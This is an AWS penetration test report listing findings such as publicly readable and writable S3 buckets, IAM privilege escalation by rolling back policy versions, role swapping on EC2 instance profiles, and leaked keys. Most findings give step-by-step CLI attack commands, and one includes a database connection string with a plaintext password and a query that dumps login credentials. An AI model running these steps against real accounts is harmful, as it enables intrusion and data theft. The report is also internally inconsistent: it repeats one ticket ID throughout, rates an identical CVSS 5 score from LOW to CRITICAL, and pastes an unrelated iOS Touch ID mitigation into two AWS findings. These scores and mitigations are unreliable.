## S3 Bucket is misconfigured to read all the contents without authentication

|  |  |  |
| --- | --- | --- |
| **Ticket ID** | **Description of vulnerability** | |
| WEBRSEP19-019 | During the pentest of the application, we found that the “aws s3 Bucket” is misconfigured to allow read access. An attacker may read all the contents in the s3 bucket and browse all the directories to steal the sensitive data of the organization. | |
| **CVS Score** | **Vector String** | **Risk Rating** |
| 5 | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | **MEDIUM** |
|
| **Affected Resource** | | **Module Name** |
| *https://man29102019-pentest02.acd.mykronos.com/metaui#/list/integration\_connection\_definition?ctxt=connections&pageId=567* | | Application |
| **Security Risk** | | |
| * An attacker may attempt to browse all the files and folders of the bucket to extract the sensitive data from the bucket as read access allows to access any sensitive files hosted on the bucket like .php, .passwd etc. | | |
| **Workaround / Mitigation** | | |
| * Use Amazon S3 block public access. * When using AWS, it's a best practice to restrict access to your resources to the people that absolutely need it. * Reconfigure the bucket settings to prevent read access to all the contents of the application. | | |
| **Tool used** | | **References** |
| Manually  AWS CLI | | <https://docs.aws.amazon.com/AmazonS3/latest/dev/security-best-practices.html> |
| **Proof of Concept (POC)** | | |
| **Steps to Reproduce:**  Step 1: Enter the below command to check the contents of the bucket  “**aws s3 ls s3://securelayer7.net/ --no-sign-request --region us-west-1**”  A screenshot of a computer  Description automatically generated  Figure 1: List bucket content  Step 2: Attacker is able to copy the contents from “s3 bucket” to local machine as shown  A screenshot of a cell phone  Description automatically generated  Figure 2: Copying contents from “S3 Bucket” | | |

## Publicly exposed S3 Bucket with write permission

|  |  |  |
| --- | --- | --- |
| **Ticket ID** | **Description of vulnerability** | |
| WEBRSEP19-019 | During the pentest of the application, it was observed that the application is misconfigured to expose the “S3 Bucket” with write privileges without authentication. The application is using the S3 bucket to store all the static assets and configuration files on the AWS Cloud. It is being exposed to public and anyone can write/upload malicious files to the “S3 Bucket” without authentication. An attacker may abuse it to upload malicious files or delete all the contents from the site | |
| **CVS Score** | **Vector String** | **Risk Rating** |
| 5 | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | **Critical** |
|
| **Affected Resource** | | **Module Name** |
| *https://man29102019-pentest02.acd.mykronos.com/metaui#/list/integration\_connection\_definition?ctxt=connections&pageId=567* | | Application |
| **Security Risk** | | |
| * An attacker can leverage this misconfiguration to upload malicious files to the s3 bucket and utilize it as a malware distribution for malicious purposes. * An attacker may update the contents of the site with malicious code to steal the sensitive data of the users to gain unauthorized access to the user’s account. | | |
| **Workaround / Mitigation** | | |
| * Use Amazon S3 block public access. * When using AWS, it's a best practice to restrict access to your resources to the people that absolutely need it. * Reconfigure the bucket settings to prevent read access to all the contents of the application. | | |
| **Tool used** | | **References** |
| Manually  AWS CLI | | https://www.owasp.org/index.php/Broken\_Access\_Control |
| **Proof of Concept (POC)** | | |
| **Steps to Reproduce:**   1. Open terminal and login with your credential.   Enter Command:  aws configure --profile Akash\_Securelayer7     1. To list S3 objects   aws s3 ls s3://sl7-secret-s3-bucket-cgidrl151fx9vi     1. To list S3 objects and common prefixes under a prefix or all S3 buckets enter below command   aws s3 ls s3://sl7-secret-s3-bucket-cgidrl151fx9vi     1. Download db.txt file to system   aws s3 cp s3://sl7-secret-s3-bucket-cgidrl151fx9vi/db.txt .  cat db.txt     1. To upload the file to the server   aws s3 cp akash.txt s3://sl7-secret-s3-bucket-cgidrl151fx9vi     1. To list out all s3 bucket objects   aws s3 ls s3://sl7-secret-s3-bucket-cgidrl151fx9vi     1. To remove the file from bucket remotely   aws s3 rm db.txt s3://sl7-secret-s3-bucket-cgidrl151fx9vi     1. Final Check to list out s3 bucket objects   aws s3 ls s3://sl7-secret-s3-bucket-cgidrl151fx9vi | | |

## Application is vulnerable to Privilege Escalation by rollbacking the IAM policy to gain full admin privilege

|  |  |  |
| --- | --- | --- |
| **Ticket ID** | **Description of vulnerability** | |
| WEBRSEP19-019 | While performing the pentest of the application we were able to find out that a user with low/limited IAM user is able to review previous IAM policy versions and restore one which allows to gain full admin privileges which lead to Privilege Escalation | |
| **CVS Score** | **Vector String** | **Risk Rating** |
| 5 | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | **CRITICAL** |
|
| **Affected Resource** | | **Module Name** |
|  | | Application |
| **Security Risk** | | |
| * An attacker with the iam:SetDefaultPolicyVersion permission may be able to escalate privileges through existing policy versions that are currently dormant. If a policy that they have access to has versions that are not the default, they would be able to change the default version to any other existing version. * The impact could range from no privilege escalation at all to gaining full administrator access to the AWS account. | | |
| **Workaround / Mitigation** | | |
| * AWS provide the IAM Policy Simulator to help you understand the permissions that will be applied to the IAM user. This can be particularly useful if you have complex policies in your account. * A more proactive approach would be using something like Repokid from Netflix, which removes permissions granting access to unused services from the inline policies of IAM roles in an AWS account. | | |
| **Tool used** | | **References** |
| Manually  AWS CLI | | https://www.owasp.org/index.php/Broken\_Access\_Control |
| **Proof of Concept (POC)** | | |
| **Steps to Reproduce:**   1. Open terminal and login with your limited IAM user credential.   Enter Command:  aws configure --profile Akash\_Securelayer7     1. Now type below command   aws iam list-attached-user-policies --user-name Akash\_Securelayer7 --profile Akash\_Securelayer7     1. Copy this PolicyArn and paste in every command of generatedArn 2. Now to retrieve entire data set of results.   aws iam list-policy-versions --policy-arn <generatedARN>/cg-sl7-policy --profile Akash\_Securelayer7     1. Now to check what permission the policy grants enter below command: with your policyArn and version is lets say here v2   aws iam get-policy-version --policy-arn <generatedARN>/cg-sl7-policy --version-id v2 --profile Akash\_Securelayer7     1. Now change the policy to the default so we can get Admin level privileges   aws iam set-default-policy-version --policy-arn <generatedARN>/cg-sl7-policy --version-id v2 --profile Akash\_Securelayer7 | | |

## Application is vulnerable to Privilege Escalation by deleting an EC2 instance

|  |  |  |
| --- | --- | --- |
| **Ticket ID** | **Description of vulnerability** | |
| WEBRSEP19-019 | While penetration testing we found that, An attacker with limited set of permissions, is able to leverage the instance-profile-attachment permissions to create a new EC2 instance with significantly greater privileges than their own. With access to this new EC2 instance, the attacker gains full administrative powers within the target account and is able to delete the cg-super-critical-security-server. | |
| **CVS Score** | **Vector String** | **Risk Rating** |
| 5 | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | **CRITICAL** |
|
| **Affected Resource** | | **Module Name** |
|  | | Application |
| **Security Risk** | | |
| Application is allowing access to its functionality without correct Authentication.   * Using this vulnerability attacker can bypass the authentication and access the application’s functionality. * Attackers can edit, delete or update functionalities of the application. * If the attacker is able to gain administrator privileges, then the entire application’s functionality is compromised. | | |
| **Workaround / Mitigation** | | |
| * When using Touch ID for authentication, store the application’s secret in the Keychain with an Access List (ACL) assigned to that item. With this method, iOS performs a user presence check before reading and returning Keychain items to the application. | | |
| **Tool used** | | **References** |
| Manually  AWS CLI | | https://www.owasp.org/index.php/Broken\_Access\_Control |
| **Proof of Concept (POC)** | | |
| **Steps to Reproduce:**   1. Open terminal and login with your limited IAM user credential.   Enter Command:  aws configure --profile Akash\_Securelayer7     1. To describe the instances related to account   aws ec2 describe-instances –profile Akash\_Securelayer7     1. List instance profiles   aws iam list-instance-profiles –profile Akash\_Securelayer7     1. Now list out the roles   aws iam list-roles --profile Akash\_Securelayer7     1. To gain leverage permission from instance remove the “jeet” role from the instance and attach “meet” role into the instance.   aws iam remove-role-from-instance-profile --instance-profile-name cg-ec2-jeet-instance-profile-cgid54n0ex7ccmk --role-name cg-ec2-jeet-role-cgid54n0ex7ccmk --profile Akash\_Securelayer7   1. Now to add “meet” role to the instance enter below command   aws iam add-role-to-instance-profile --instance-profile-name cg-ec2-jeet-instance-profile-cgid54n0ex7ccmk --role-name cg-ec2-meet-role-cgid54n0ex7ccm --profile Akash\_Securelayer7   1. To create a RSA key pair with name “pwned”enter command:   aws ec2 create-key-pair --key-name pwned –profile Akash\_Securelayer7     1. To list out and describe the subnet enter below command   aws ec2 describe-subnets –profile     1. To describe the security groups entern below command   aws ec2 describe-security-groups --profile Akash\_Securelayer7     1. To launch the specific instance   aws ec2 run-instances --image-id ami-0a313d6098716f372 --iam-instance-profile Arn=arn:aws:iam::624719014534:instance-profile/cg-ec2-jeet-instance-profile-cgid54n0ex7ccm --key-name kerrigan --profile pwned --subnet-id subnet-0142f15efe4eb64ea --security-group-ids sg-02764e68cc7ba7996   1. To list out all the instance and newly added insatance with imageid ami-0a313d6098716f372      1. To terminate the newly created instance enter below command   aws ec2 terminate-instances --instance-ids i-081519d09dbf7b403 --region us-east-1 | | |

## Application is vulnerable to RCE attack

|  |  |  |
| --- | --- | --- |
| **Ticket ID** | **Description of vulnerability** | |
| WEBRSEP19-019 | While penetration testing we found that,  an attacker can explores a Load Balancer and S3 bucket for confidential files which exposes database secret credentials through which an attacker can connect to highly-secured RDS database instance which lead to RCE exploit. | |
| **CVS Score** | **Vector String** | **Risk Rating** |
| 5 | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | **CRITICAL** |
|
| **Affected Resource** | | **Module Name** |
|  | | Application |
| **Security Risk** | | |
| Application is allowing access to its functionality without correct Authentication.   * Using this vulnerability attacker can bypass the authentication and access the application’s functionality. * Attackers can edit, delete or update functionalities of the application. * If the attacker is able to gain administrator privileges, then the entire application’s functionality is compromised. | | |
| **Workaround / Mitigation** | | |
| * When using Touch ID for authentication, store the application’s secret in the Keychain with an Access List (ACL) assigned to that item. With this method, iOS performs a user presence check before reading and returning Keychain items to the application. | | |
| **Tool used** | | **References** |
| Manually  AWS CLI | | https://www.owasp.org/index.php/Broken\_Access\_Control |
| **Proof of Concept (POC)** | | |
| **Steps to Reproduce:**   1. Open terminal and login with your credential.   Enter Command:  aws configure --profile Akash\_Securelayer7     1. To list S3 objects   aws s3 ls     1. To list S3 objects and common prefixes under a prefix or all S3 buckets enter below command   aws s3 ls s3:// sl7-secret-s3-bucket-cgidrl151fx9vi     1. Download db.txt file to system   aws s3 cp s3:// sl7-secret-s3-bucket-cgidrl151fx9vi/db.txt .  cat db.txt     1. To Returns information about provisioned RDS instances enter below command   aws rds describe-db-instances --region us-east-1     1. To Connect To PostgreSQLInstance use below command   psql postgresql://admin:Passw0rd@cg-rds-instance-cgid0hm1snm9sk.c3ccauvhfre9.us-east-1.rds.amazonaws.com:5432/sl7db   1. Fetch sensitive data from database   select \* from login\_credentials; | | |

## Application is vulnerable to Weak IAM Password Policy

|  |  |  |
| --- | --- | --- |
| **Ticket ID** | **Description of vulnerability** | |
| WEBRSEP19-019 | Weak IAM password policies or absence of password policy may lead to compromise the account or even takeover the users account. The application haven’t implemented the sufficient password policy for an IAM user to keep the authentication process secure. | |
| **CVS Score** | **Vector String** | **Risk Rating** |
| 5 | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | **HIGH** |
|
| **Affected Resource** | | **Module Name** |
| *IAM user account* | | Application |
| **Security Risk** | | |
| * Weak passwords can be easily cracked by using different software’s. * Weak passwords can be guessed by an attacker to compromise the account * It is also possible to brute force the account credential using brute force technique which may lead account takeover as well. * Weak IAM password policies or absence of that policy may result in compromised account or even takeover. It is strongly recommended to audit AWS account periodically and ensure proper configuration. | | |
| **Workaround / Mitigation** | | |
| It is strongly recommended to have following settings should be applied in password policy   * Require uppercase letter in password * Require lowercase letter in password * Require number in password * Require special character in password * Enable password expiration in 30 days * Prevent last 5 password reuse | | |
| **Tool used** | | **References** |
| Manually  AWS CLI | | <https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_passwords_account-policy.html> |
| **Proof of Concept (POC)** | | |
| **Steps to Reproduce:**   1. Login using credentials and navigate IAM.     Figure: Password Policy not applied | | |

## Application had disabled VPC Flow Logs

|  |  |  |
| --- | --- | --- |
| **Ticket ID** | **Description of vulnerability** | |
| WEBRSEP19-019 | While penetration testing we found that the application have disabled VPC flow logs. VPC Flow Logs is a feature that enables you to capture information about the IP traffic going to and from network interfaces in your VPC.  Flow log data can be published to Amazon CloudWatch Logs and Amazon S3. After you've created a flow log, you can retrieve and view its data in the chosen destination. | |
| **CVS Score** | **Vector String** | **Risk Rating** |
| 5 | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | **MEDIUM** |
|
| **Affected Resource** | | **Module Name** |
| * subnet-051dd41f70af7981b | vpc-0670637738a03263e | us-east-1 * subnet-0555a15c3a34c6027 | vpc-0620617432a03263d | us-east-1 | | Application |
| **Security Risk** | | |
| * Disabling VPC Flow Logs will not help you to detect security and access issues like overly permissive security groups and network ACLs and alert abnormal activities triggered within your Virtual Private Cloud network such as rejected connection requests or unusual levels of data transfer. | | |
| **Workaround / Mitigation** | | |
| * It is strongly recommended to enable the VPC flow logs. | | |
| **Tool used** | | **References** |
| Manually | | <https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html> |
| **Proof of Concept (POC)** | | |
| **Steps to Reproduce:**   1. Login using AWS management console navigate to VPC dashboard 2. Select the VPC and click on Flow Logs tab.     **Alternate way:**   1. This can be done by AWS CLI   aws ec2 describe-vpcs  aws ec2 describe-flow-logs --filter "Name=resource-id,Values= vpc-0670637738a03263e**"** | | |

## No IAM User Access Key Rotation.

|  |  |  |
| --- | --- | --- |
| **Ticket ID** | **Description of vulnerability** | |
| WEBRSEP19-019 | While penetration testing we found that the application didn’t have any plan in place to rotate IAM user access keys at a regular interval. | |
| **CVS Score** | **Vector String** | **Risk Rating** |
| 5 | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | **MEDIUM** |
|
| **Affected Resource** | | **Module Name** |
| * subnet-051dd41f70af7981b | vpc-0670637738a03263e | us-east-1 * subnet-0555a15c3a34c6027 | vpc-0620617432a03263d | us-east-1 | | Application |
| **Security Risk** | | |
| * Rotating Identity and Access Management (IAM) credentials periodically will significantly reduce the chances that a compromised set of access keys can be used without your knowledge to access certain components within your AWS account. | | |
| **Workaround / Mitigation** | | |
| * Make a plan to regularly rotate all IAM user access key ID and secret access key. * Ensure that all your IAM user access keys are rotated every month in order to decrease the likelihood of accidental exposures and protect your AWS resources against unauthorized access. | | |
| **Tool used** | | **References** |
| Manually | | <https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html> |
| **Proof of Concept (POC)** | | |
| **Steps to Reproduce:**   1. Login to AWS management Console. 2. Navigate to IAM dashboard and chose users. 3. Click on IAM username and check security Credentials tab. | | |

## S3 Bucket Access Logging Not Enabled

|  |  |  |
| --- | --- | --- |
| **Ticket ID** | **Description of vulnerability** | |
| WEBRSEP19-019 | While penetration testing we found that the application didn’t have enabled AWS S3 Server access logging so the tracks of access request of S3 bucket can’t be recorded. | |
| **CVS Score** | **Vector String** | **Risk Rating** |
| 5 | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | **LOW** |
|
| **Affected Resource** | | **Module Name** |
| *S3 Bucket* | | Application |
| **Security Risk** | | |
| * With Server Access Logging feature enabled for your S3 buckets you can track any requests made to access the buckets and use the log data to take measures in order to protect them against unauthorized user access. | | |
| **Workaround / Mitigation** | | |
| * Ensure that AWS S3 Server Access Logging feature is enabled in order to record access requests useful for security audits. * By default, server access logging is not enabled for S3 buckets. | | |
| **Tool used** | | **References** |
| Manually | | <https://docs.aws.amazon.com/AmazonS3/latest/user-guide/server-access-logging.html> |
| **Proof of Concept (POC)** | | |
| **Steps to Reproduce:**   1. Login with AWS management console. 2. Navigate to S3 dashboard**.** 3. Select the S3 bucket that you want to examine and click the **Properties**. | | |

## Leaked AWS keys in git file leads to AWS account takeover

|  |  |  |
| --- | --- | --- |
| **Ticket ID** | **Description of vulnerability** | |
| WEBRSEP19-019 | While penetration testing we found that in S3 Bucket that git repository are leaking AWS access key and secret access key by which an attacker can perform login in that application environment which lead to takeover AWS account. | |
| **CVS Score** | **Vector String** | **Risk Rating** |
| 5 | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | **CRITICAL** |
|
| **Affected Resource** | | **Module Name** |
| *Git repo* | | Application |
| **Security Risk** | | |
| * An attacker can get the legitimate users AWS access key and secret key through which an attacker can takeover his account. * An attacker can perform malicious activities like removing data from the bucket, can upload malicious data to bucket, etc. | | |
| **Workaround / Mitigation** | | |
| * Always roll your secrets if you suspect they were compromised or made public or stored or shared incorrectly. * It is strongly recommended that the AWS credentials should not be stored in any git repository or in any file over the buckets or server. * Use Amazon S3 block public access. | | |
| **Tool used** | | **References** |
| Manually  AWS CLI | | <https://docs.aws.amazon.com/AmazonS3/latest/dev/security-best-practices.html> |
| **Proof of Concept (POC)** | | |
| **Steps to Reproduce:**   1. Open terminal and login with your credential.   Enter Command:  aws configure --profile Akash\_Securelayer7     1. Download the whole S3 bucket using below command   aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2   1. To look for commit history enter below command      1. To shows one or more objects in commit enter below command      1. Configure AWS profile with these credentials.      1. Now list item in their bucket   A screenshot of a computer  Description automatically generated | | |